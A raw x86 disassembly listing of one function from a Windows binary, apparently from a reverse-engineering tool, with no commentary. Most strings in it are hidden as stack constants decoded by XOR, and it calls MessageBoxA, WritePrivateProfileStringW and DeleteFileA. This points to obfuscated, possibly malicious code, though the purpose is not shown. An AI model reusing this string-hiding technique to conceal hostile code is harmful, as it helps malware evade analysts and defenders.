mov dword [ebp - 0xacc], 0x3c712d2c
mov ecx, 0x67de28
mov dword [ebp - 0xac8], 0x32e97a25
mov dword [ebp - 0xac4], 0xe6f75a5
movaps xmm1, xmmword [ebp - 0xad0]
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xad0], xmm1
call fcn.00460c60
lea eax, [ebp - 0x2c08]
mov dword [ebp - 0x2c08], edi
push eax
mov ecx, 0x67df40
call fcn.004610e0
mov edi, dword [ebp - 0x2c08]
jmp 0x456183
mov dword [ebp - 0xe30], 0x6fd9da85
lea eax, [ebp - 0xe30]
mov dword [ebp - 0xe2c], 0x73772165
mov dword [ebp - 0xe28], 0x6de07c3f
mov dword [ebp - 0xe24], 0x7c0001e6
mov dword [ebp - 0xe20], 0x35986e3d
mov dword [ebp - 0xe1c], 0xa3bc60fe
mov dword [ebp - 0xe18], 0x7d6825ce
mov dword [ebp - 0xe14], 0x5e869b7
movaps xmm1, xmmword [ebp - 0xe30]
mov dword [ebp - 0x860], 0x1cabbfd3
mov dword [ebp - 0x85c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xe30], xmm1
movaps xmm1, xmmword [ebp - 0xe20]
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xe20], xmm1
mov dword [ebp - 0xe50], 0x3cf8fa8a
mov dword [ebp - 0xe4c], 0x7d2a6e31
mov dword [ebp - 0xe48], 0x46ac357f
mov dword [ebp - 0xe44], 0x2e5255ca
mov dword [ebp - 0xe40], 0x35aa400e
mov dword [ebp - 0xe3c], 0xa3bc60fe
mov dword [ebp - 0xe38], 0x7d6825ce
mov dword [ebp - 0xe34], 0x5e869b7
movaps xmm1, xmmword [ebp - 0xe50]
push 0x44
mov dword [ebp - 0x860], 0x1cabbfd3
mov dword [ebp - 0x85c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x860]
push eax
movaps xmmword [ebp - 0xe50], xmm1
lea eax, [ebp - 0xe50]
movaps xmm1, xmmword [ebp - 0xe40]
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0
movaps xmmword [ebp - 0xe40], xmm1
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x4565b2
mov dword [ebp - 0x970], 0x329891e0
lea ecx, [ebp - 0x970]
mov dword [ebp - 0x96c], 0x53194e3c
lea edx, [ecx + 1]
mov dword [ebp - 0x968], 0x88c194c
mov dword [ebp - 0x964], 0xe6f7585
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x970]
movaps xmmword [ebp - 0x970], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4565a0
lea eax, [ebp - 0x970]
jmp 0x45674d
cmp eax, 7
jne 0x456642
mov dword [ebp - 0x910], 0x329991e0
lea ecx, [ebp - 0x910]
mov dword [ebp - 0x90c], 0x53194e3c
lea edx, [ecx + 1]
mov dword [ebp - 0x908], 0x88c194c
mov dword [ebp - 0x904], 0xe6f7585
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x910]
movaps xmmword [ebp - 0x910], xmm1
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456630
lea eax, [ebp - 0x910]
jmp 0x45674d
cmp eax, 2
jne 0x45d560
lea eax, [ebp - 0x2db8]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2dc8]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3530]
mov dword [ebp - 0x2dc8], 0x1cabbfd3
mov dword [ebp - 0x2dc4], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2dc0], 0x88c194c
mov dword [ebp - 0x2dbc], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2dc8]
mov dword [ebp - 0x960], 0x329e91e1
push eax
lea eax, [ebp - 0x2dd8]
mov dword [ebp - 0x95c], 0x145b113c
push eax
lea ecx, [ebp - 0x3528]
mov dword [ebp - 0x2dd8], 0x329e91e1
mov dword [ebp - 0x2dd4], 0x145b113c
mov dword [ebp - 0x958], 0x88c5001
mov dword [ebp - 0x954], 0xe6f7585
mov dword [ebp - 0x2dd0], 0x88c5001
mov dword [ebp - 0x2dcc], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x960]
pxor xmm1, xmmword [ebp - 0x960]
lea edx, [ecx + 1]
movaps xmmword [ebp - 0x960], xmm1
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456740
lea eax, [ebp - 0x960]
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x900]
call fcn.0045f8f0
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
cmp edi, 2
jne 0x456940
mov dword [ebp - 0x950], 0x1ce5fa8c
lea ecx, [ebp - 0x950]
mov dword [ebp - 0x94c], 0x53194e0c
lea edx, [ecx + 1]
mov dword [ebp - 0x948], 0x88c194c
mov dword [ebp - 0x944], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x950]
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0x950], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4567d4
sub ecx, edx
lea eax, [ebp - 0x950]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f8f0
mov dword [ebp - 0xe70], 0x1ccabf9f
lea eax, [ebp - 0x430]
mov dword [ebp - 0xe6c], 0x537e4e62
mov dword [ebp - 0xe68], 0x8ed1939
mov dword [ebp - 0xe64], 0xe0a75e2
mov dword [ebp - 0xe60], 0x35986e3d
mov dword [ebp - 0xe5c], 0xa3bc60fe
mov dword [ebp - 0xe58], 0x7d6825ce
mov dword [ebp - 0xe54], 0x5e869b7
movaps xmm1, xmmword [ebp - 0xe70]
mov dword [ebp - 0x860], 0x1cabbfd3
mov dword [ebp - 0x85c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xe70], xmm1
movaps xmm1, xmmword [ebp - 0xe60]
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
pxor xmm1, xmmword [ebp - 0x850]
push eax
mov dword [ebp - 0xac0], 0x1cc4bf90
lea eax, [ebp - 0xe70]
mov dword [ebp - 0xabc], 0x537f4e62
mov dword [ebp - 0xab8], 0x8eb1925
mov dword [ebp - 0xab4], 0xe6f7585
movaps xmmword [ebp - 0xe60], xmm1
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xac0]
push 0x66fe48
push eax
movaps xmmword [ebp - 0xac0], xmm1
lea eax, [ebp - 0xac0]
jmp 0x456aee
mov dword [ebp - 0x9b0], 0x1ce5e98c
lea ecx, [ebp - 0x9b0]
mov dword [ebp - 0x9ac], 0x53194e0c
lea edx, [ecx + 1]
mov dword [ebp - 0x9a8], 0x88c194c
mov dword [ebp - 0x9a4], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x9b0]
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0x9b0], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456987
sub ecx, edx
lea eax, [ebp - 0x9b0]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f8f0
mov dword [ebp - 0xdf0], 0x1ccabf9f
lea eax, [ebp - 0x430]
mov dword [ebp - 0xdec], 0x537e4e62
mov dword [ebp - 0xde8], 0x8ed1939
mov dword [ebp - 0xde4], 0xe0a75e2
mov dword [ebp - 0xde0], 0x35986e3d
mov dword [ebp - 0xddc], 0xa3bc60fe
mov dword [ebp - 0xdd8], 0x7d6825ce
mov dword [ebp - 0xdd4], 0x5e869b7
mov dword [ebp - 0x860], 0x1cabbfd3
mov dword [ebp - 0x85c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xdf0]
movaps xmmword [ebp - 0xdf0], xmm1
movaps xmm1, xmmword [ebp - 0xde0]
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xde0], xmm1
lea eax, [ebp - 0xdf0]
mov dword [ebp - 0xab0], 0x1cc4bf90
mov dword [ebp - 0xaac], 0x537f4e62
mov dword [ebp - 0xaa8], 0x8eb1925
mov dword [ebp - 0xaa4], 0xe6f7585
movaps xmm1, xmmword [ebp - 0xab0]
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x850]
push 0x66fe4c
push eax
movaps xmmword [ebp - 0xab0], xmm1
lea eax, [ebp - 0xab0]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push eax
call esi
mov eax, dword [0x67fe24]
shr eax, 5
test al, 1
je 0x456b92
mov dword [ebp - 0x9a0], 0x44fdfe8c
lea ecx, [ebp - 0x9a0]
mov dword [ebp - 0x99c], 0x53194e3e
lea edx, [ecx + 1]
mov dword [ebp - 0x998], 0x88c194c
mov dword [ebp - 0x994], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x9a0]
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0x9a0], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456b76
sub ecx, edx
lea eax, [ebp - 0x9a0]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f8f0
lea eax, [ebp - 0x900]
push eax
push 0
lea ecx, [ebp - 0x8e8]
call fcn.0045e8d0
sub esp, 0x18
mov dword [ebp - 0xaa0], 0x72cfdcfc
mov dword [ebp - 0xa9c], 0x3a7e2d21
lea eax, [ebp - 0xaa0]
mov dword [ebp - 0xa98], 0x69fe6d63
mov ecx, esp
mov dword [ebp - 0xa94], 0xe6f10e6
movaps xmm1, xmmword [ebp - 0xaa0]
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2bec], esp
push eax
movaps xmmword [ebp - 0xaa0], xmm1
call fcn.0045ebd0
mov byte [ebp - 4], 4
lea eax, [ebp - 0xa80]
sub esp, 0x18
mov dword [ebp - 0xa80], 0x329989e2
mov dword [ebp - 0xa7c], 0x7d207b3d
mov ecx, esp
mov dword [ebp - 0xa78], 0x26b92a7d
mov dword [ebp - 0xa74], 0xe5d46b7
movaps xmm1, xmmword [ebp - 0xa80]
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xa80], xmm1
call fcn.0045ebd0
lea ecx, [ebp - 0x13d0]
mov byte [ebp - 4], 3
call fcn.0044fb60
add esp, 0x30
mov byte [ebp - 4], 5
lea eax, [ebp - 0xb40]
mov dword [ebp - 0xb40], 0x21e8f09f
lea ecx, [ebp - 0x13d0]
mov dword [ebp - 0xb3c], 0x5319005a
mov dword [ebp - 0xb38], 0x88c194c
mov dword [ebp - 0xb34], 0xe6f7585
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb40]
push 0
push eax
movaps xmmword [ebp - 0xb40], xmm1
call fcn.0045e850
cmp eax, 0xffffffff
je 0x456e1f
mov dword [ebp - 0xb20], 0x6c85d1a5
lea ecx, [ebp - 0xb20]
mov dword [ebp - 0xb1c], 0x3e7e2c79
lea edx, [ecx + 1]
mov dword [ebp - 0xb18], 0x60e26f62
mov dword [ebp - 0xb14], 0x6d410de4
mov dword [ebp - 0xb10], 0x35980352
mov dword [ebp - 0xb0c], 0xa3bc60fe
mov dword [ebp - 0xb08], 0x7d6825ce
mov dword [ebp - 0xb04], 0x5e869b7
mov dword [ebp - 0x860], 0x1cabbfd3
mov dword [ebp - 0x85c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xb20]
movaps xmmword [ebp - 0xb20], xmm1
movaps xmm1, xmmword [ebp - 0xb10]
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xb10], xmm1
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456e10
lea eax, [ebp - 0xb20]
jmp 0x456e9d
mov dword [ebp - 0x990], 0x7bc9caa3
lea ecx, [ebp - 0x990]
mov dword [ebp - 0x98c], 0x3d6f6061
lea edx, [ecx + 1]
mov dword [ebp - 0x988], 0x26f47824
mov dword [ebp - 0x984], 0xe021ae6
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x990]
movaps xmmword [ebp - 0x990], xmm1
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456e90
lea eax, [ebp - 0x990]
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x928]
call fcn.0045f7c0
cmp dword [ebx + 8], 1
jne 0x456ec0
mov eax, dword [ebp - 0x2be4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.0044d800
mov dword [ebp - 0xe90], 0x1cd9bf87
lea eax, [ebp - 0x430]
mov dword [ebp - 0xe8c], 0x535a4e75
mov dword [ebp - 0xe88], 0x8f91923
mov dword [ebp - 0xe84], 0xe1b75eb
mov dword [ebp - 0xe80], 0x35986e3d
mov dword [ebp - 0xe7c], 0xa3bc60fe
mov dword [ebp - 0xe78], 0x7d6825ce
mov dword [ebp - 0xe74], 0x5e869b7
mov dword [ebp - 0x860], 0x1cabbfd3
mov dword [ebp - 0x85c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xe90]
movaps xmmword [ebp - 0xe90], xmm1
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xe80]
push eax
push 0x66fe4c
movaps xmmword [ebp - 0xe80], xmm1
lea eax, [ebp - 0xe90]
mov dword [ebp - 0xb50], 0x1cffbf81
mov dword [ebp - 0xb4c], 0x53194e0c
mov dword [ebp - 0xb48], 0x88c194c
mov dword [ebp - 0xb44], 0xe6f7585
movaps xmm1, xmmword [ebp - 0xb50]
push eax
mov dword [ebp - 0x850], 0x1cabbfd3
lea eax, [ebp - 0xb50]
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xb50], xmm1
call esi
movzx eax, byte [0x67fdf8]
lea edx, [ebp - 0xeb0]
mov edi, dword [ebp - 0x2bf0]
mov ecx, 1
mov dword [ebp - 0xeb0], 0x7fced790
test edi, edi
mov dword [ebp - 0xeac], 0x34772767
mov dword [ebp - 0xea8], 0x69e3756c
cmovg eax, ecx
mov dword [ebp - 0xea4], 0x201d10e1
mov ecx, 0x67de28
mov dword [ebp - 0xea0], 0x35984013
mov dword [ebp - 0xe9c], 0xa3bc60fe
mov dword [ebp - 0xe98], 0x7d6825ce
mov dword [ebp - 0xe94], 0x5e869b7
movaps xmm1, xmmword [ebp - 0xeb0]
mov dword [ebp - 0x860], 0x1cabbfd3
mov dword [ebp - 0x85c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xeb0], xmm1
movaps xmm1, xmmword [ebp - 0xea0]
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
pxor xmm1, xmmword [ebp - 0x850]
mov byte [0x67fdf8], al
movaps xmmword [ebp - 0xea0], xmm1
call fcn.00460c60
push eax
call fcn.00461030
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x980], 0x7dc4d3fc
mov dword [ebp - 0x97c], 0x7e6b2b68
mov dword [ebp - 0x978], 0x7bfe7c3a
sub esp, 0x14
mov dword [ebp - 0x974], 0xe011aec
mov esi, esp
movaps xmm1, xmmword [ebp - 0x850]
mov ecx, esi
pxor xmm1, xmmword [ebp - 0x980]
mov dword [ebp - 0x2bec], esp
mov dword [ebp - 0x2be4], esi
push dword [ebp - 0x2bec]
movaps xmmword [ebp - 0x980], xmm1
call fcn.00461700
lea ecx, [ebp - 0x980]
mov byte [ebp - 4], 6
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4571a2
sub ecx, edx
lea eax, [ebp - 0x980]
push ecx
push eax
mov ecx, esi
call fcn.00461720
mov dword [ebp - 0x940], 0x7bc9caa3
sub esp, 0x18
mov dword [ebp - 0x93c], 0x3d6f6061
mov esi, esp
mov dword [ebp - 0x938], 0x26f47824
mov ecx, esi
mov dword [ebp - 0x934], 0xe021ae6
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x940]
mov dword [ebp - 0x2be4], esi
push dword [ebp - 0x2bec]
movaps xmmword [ebp - 0x940], xmm1
call fcn.00461700
lea ecx, [ebp - 0x940]
mov byte [ebp - 4], 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x457245
sub ecx, edx
lea eax, [ebp - 0x940]
push ecx
push eax
mov ecx, esi
call fcn.00461720
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x22e8]
mov byte [ebp - 4], 5
call fcn.0044fb60
add esp, 0x30
mov byte [ebp - 4], 9
lea eax, [ebp - 0xae0]
mov dword [ebp - 0xae0], 0x4ff9fa85
lea ecx, [ebp - 0x22e8]
mov dword [ebp - 0xadc], 0x6e570145
mov dword [ebp - 0xad8], 0x88c194c
mov dword [ebp - 0xad4], 0xe6f7585
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xae0]
push 0
push eax
movaps xmmword [ebp - 0xae0], xmm1
call fcn.0045e850
cmp eax, 0xffffffff
je 0x45d5b7
push 0
lea eax, [ebp - 0x13b8]
push eax
lea ecx, [ebp - 0x22e8]
call fcn.0045e890
cmp eax, 0xffffffff
jne 0x4576a2
push 0x104
lea eax, [ebp - 0x840]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x1730]
mov dword [ebp - 0x1750], 0x7dc4d3fc
push eax
lea eax, [ebp - 0x1750]
mov dword [ebp - 0x174c], 0x7d6b2b68
push eax
lea ecx, [ebp - 0x3520]
mov dword [ebp - 0x1748], 0x7aef7729
mov dword [ebp - 0x1744], 0x6b1b05fc
mov dword [ebp - 0x1740], 0x5cfa4059
mov dword [ebp - 0x173c], 0xa3bc6090
mov dword [ebp - 0x1738], 0x7d6825ce
mov dword [ebp - 0x1734], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1710]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1730]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3518]
mov dword [ebp - 0x1730], 0x1cabbfd3
mov dword [ebp - 0x172c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x1728], 0x88c194c
mov dword [ebp - 0x1724], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x1720], 0x35986e3d
mov dword [ebp - 0x171c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x1718], 0x7d6825ce
mov dword [ebp - 0x1714], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x16f0]
mov dword [ebp - 0xed0], 0x7dc4d3fc
push eax
lea eax, [ebp - 0x1710]
mov dword [ebp - 0xecc], 0x7d6b2b68
push eax
lea ecx, [ebp - 0x3510]
mov dword [ebp - 0x1710], 0x7dc4d3fc
mov dword [ebp - 0x170c], 0x7d6b2b68
mov dword [ebp - 0xec8], 0x7aef7729
mov dword [ebp - 0xec4], 0x6b1b05fc
mov dword [ebp - 0x1708], 0x7aef7729
mov dword [ebp - 0x1704], 0x6b1b05fc
mov dword [ebp - 0xec0], 0x5cfa4059
mov dword [ebp - 0xebc], 0xa3bc6090
mov dword [ebp - 0x1700], 0x5cfa4059
mov dword [ebp - 0x16fc], 0xa3bc6090
mov dword [ebp - 0xeb8], 0x7d6825ce
mov dword [ebp - 0xeb4], 0x5e869b7
mov dword [ebp - 0x16f8], 0x7d6825ce
mov dword [ebp - 0x16f4], 0x5e869b7
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xed0]
pxor xmm1, xmmword [ebp - 0xed0]
sub esp, 0x18
movaps xmmword [ebp - 0xed0], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xec0]
mov dword [ebp - 0x2bec], esp
push eax
movaps xmmword [ebp - 0xec0], xmm1
call fcn.0045ebd0
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x2de8], 0x7bc9caa3
mov dword [ebp - 0x2de4], 0x3d6f6061
mov dword [ebp - 0x2de0], 0x26f47824
mov dword [ebp - 0x2ddc], 0xe021ae6
lea eax, [ebp - 0x2dd8]
push eax
lea eax, [ebp - 0x2de8]
push eax
lea ecx, [ebp - 0x3508]
call fcn.0045f980
lea eax, [ebp - 0x2de8]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2df8]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3500]
mov dword [ebp - 0x2df8], 0x1cabbfd3
mov dword [ebp - 0x2df4], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2df0], 0x88c194c
mov dword [ebp - 0x2dec], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2df8]
mov dword [ebp - 0xb70], 0x7bc9caa3
push eax
lea eax, [ebp - 0x2e08]
mov dword [ebp - 0xb6c], 0x3d6f6061
push eax
lea ecx, [ebp - 0x34f8]
mov dword [ebp - 0x2e08], 0x7bc9caa3
mov dword [ebp - 0x2e04], 0x3d6f6061
mov dword [ebp - 0xb68], 0x26f47824
mov dword [ebp - 0xb64], 0xe021ae6
mov dword [ebp - 0x2e00], 0x26f47824
mov dword [ebp - 0x2dfc], 0xe021ae6
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xb70]
pxor xmm1, xmmword [ebp - 0xb70]
sub esp, 0x18
mov ecx, esp
movaps xmmword [ebp - 0xb70], xmm1
push eax
call fcn.0045ebd0
mov byte [ebp - 4], 9
call fcn.0044dbb0
mov esi, eax
add esp, 0x30
test esi, esi
jne 0x45dcef
jmp 0x45d8bc
lea ecx, [ebp - 0x22e8]
mov byte [ebp - 4], 5
call fcn.0045ea80
mov dword [ebp - 0xbb0], 0x7fced790
lea edx, [ebp - 0xbb0]
mov dword [ebp - 0xbac], 0x34772767
mov ecx, 0x67de28
mov dword [ebp - 0xba8], 0x44c05d6c
mov dword [ebp - 0xba4], 0xe415bab
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xbb0]
movaps xmmword [ebp - 0xbb0], xmm1
call fcn.00460c60
push eax
call fcn.00461030
movzx eax, byte [0x67fdf8]
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test edi, edi
mov dword [ebp - 0xf10], 0x1cc4bf90
mov ecx, 1
mov dword [ebp - 0xf0c], 0x536a4e62
cmovg eax, ecx
mov dword [ebp - 0xf08], 0x8fe1938
mov dword [ebp - 0xf04], 0xe0c75f0
mov dword [ebp - 0xf00], 0x35f76e49
mov dword [ebp - 0xefc], 0xa392608c
mov dword [ebp - 0xef8], 0x7d0425aa
mov dword [ebp - 0xef4], 0x5e869db
mov dword [ebp - 0x860], 0x1cabbfd3
mov dword [ebp - 0x85c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xf10]
mov byte [0x67fdf8], al
lea eax, [ebp - 0x228]
push 0
push eax
movaps xmmword [ebp - 0xf10], xmm1
lea eax, [ebp - 0xf10]
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xf00]
push 0x104
push eax
movaps xmmword [ebp - 0xf00], xmm1
call esi
mov dword [ebp - 0x8a0], 0x1cabbfd3
mov dword [ebp - 0x89c], 0x53194e0c
mov dword [ebp - 0x898], 0x88c194c
mov dword [ebp - 0x894], 0xe6f7585
mov dword [ebp - 0x11b0], 0x1cc4bf90
mov dword [ebp - 0x11ac], 0x536a4e62
mov dword [ebp - 0x11a8], 0x8fe1938
mov dword [ebp - 0x11a4], 0xe0c75f0
mov dword [ebp - 0x11a0], 0x35f76e49
mov dword [ebp - 0x119c], 0xa392608c
mov dword [ebp - 0x1198], 0x7d0425aa
mov dword [ebp - 0x1194], 0x5c669db
mov dword [ebp - 0x1190], 0x6ea69865
mov dword [ebp - 0x118c], 0x85ab61d3
mov dword [ebp - 0x1188], 0x2c323fc0
mov dword [ebp - 0x1184], 0x6ee09d91
movaps xmm1, xmmword [ebp - 0x8a0]
